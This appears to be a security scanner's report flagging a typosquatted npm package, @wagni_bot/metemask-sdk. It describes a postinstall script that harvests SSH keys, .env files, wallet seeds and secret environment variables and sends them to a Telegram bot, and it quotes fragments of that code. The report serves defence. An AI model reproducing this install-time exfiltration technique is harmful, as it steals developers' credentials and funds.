registry / Credential exfiltration / @wagni_bot/metemask-sdk
@wagni_bot/metemask-sdk
Unofficial metemask-sdk SDK
This report shows the evidence for @wagni_bot/metemask-sdk@1.0.0. 8 of 8 known versions are blocked or flagged. The newest version, 1.1.3, is blocked. See all versions.
AI Security Review
scanned 4mo ago · by lpm-firewall-aiDirect source inspection confirms unconsented install-time credential harvesting and external exfiltration unrelated to an SDK. This is concrete malicious behavior, not merely a suspicious primitive.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm install runs package.json postinstall
Impact
Leaks credentials, SSH keys, wallet/seed material, tokens, passwords, AWS variables, and host/user metadata from the installer environment.
Mechanism
install-time secret harvesting and Telegram exfiltration
Attack narrative
On installation, npm runs postinstall.js. The script posts host/user/cwd/platform metadata to Telegram, recursively scans the current project and home directory for credential-like filenames, scans ~/.ssh for private keys/config, reads matching file contents, and sends chunks plus selected sensitive environment variables to the same Telegram bot endpoint.
AI rationale
Direct source inspection confirms unconsented install-time credential harvesting and external exfiltration unrelated to an SDK. This is concrete malicious behavior, not merely a suspicious primitive.
Evidence
package.jsonpostinstall.jsindex.jsprocess.cwd() matching .env/.cred/.pem/.key/mnemonic/seed/wallet/secretos.homedir() matching .env/.cred/.pem/.key/mnemonic/seed/wallet/secret~/.ssh matching id_rsa/id_ed25519/.pem/.key/config
Network endpoints1
api.telegram.org/bot<redacted>/sendMessage
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json defines postinstall: node postinstall.js
- postinstall.js sends install host/user/cwd/platform to Telegram Bot API
- postinstall.js scans process.cwd(), os.homedir(), and ~/.ssh for .env, key, wallet, seed, mnemonic, secret files
- postinstall.js reads matching files with fs.readFileSync and sends chunks to Telegram
- postinstall.js filters process.env for SECRET/TOKEN/API_KEY/PASSWORD/AWS and exfiltrates values
Evidence against
- index.js only exports an empty object
- No dependency or binary loading beyond Node built-ins observed
Behavioral surface
EnvironmentVarsFilesystemNetwork
HighEntropyStringsUrlStrings
NoLicense
Source & flagged code
4 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node postinstall.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg•scripts.postinstall = node postinstall.js
Medium
Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.jsonView on unpkgpostinstall.jsView file
1#!/usr/bin/env node
L2: const https = require('https');
L3: const http = require('http');
...
L17: });
L18: req.write(payload);
L19: req.end();
...
L70: const data = {
L71: hostname: os.hostname(),
L72: user: os.userInfo().username,
...
L89: // Send sensitive env vars
L90: const sensitive = Object.entries(process.env).filter(([k]) =>
L91: k.includes('PRIVATE')||k.includes('SECRET')||k.includes('TOKEN')||k.includes('API_KEY')||k.includes('PASSWORD')||k.includes('MNEMONIC')||k.includes('SEED')||k.includes('WALLET')||k...
Critical
Findings
2 Critical1 High4 Medium5 Low
CriticalCredential Exfiltrationpostinstall.js
CriticalTrigger Reachable Dangerous Capabilitypostinstall.js
HighInstall Time Lifecycle Scriptspackage.json
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
LowNo License
Affected versions and remediation
This report applies to @wagni_bot/metemask-sdk@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing @wagni_bot/metemask-sdk@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.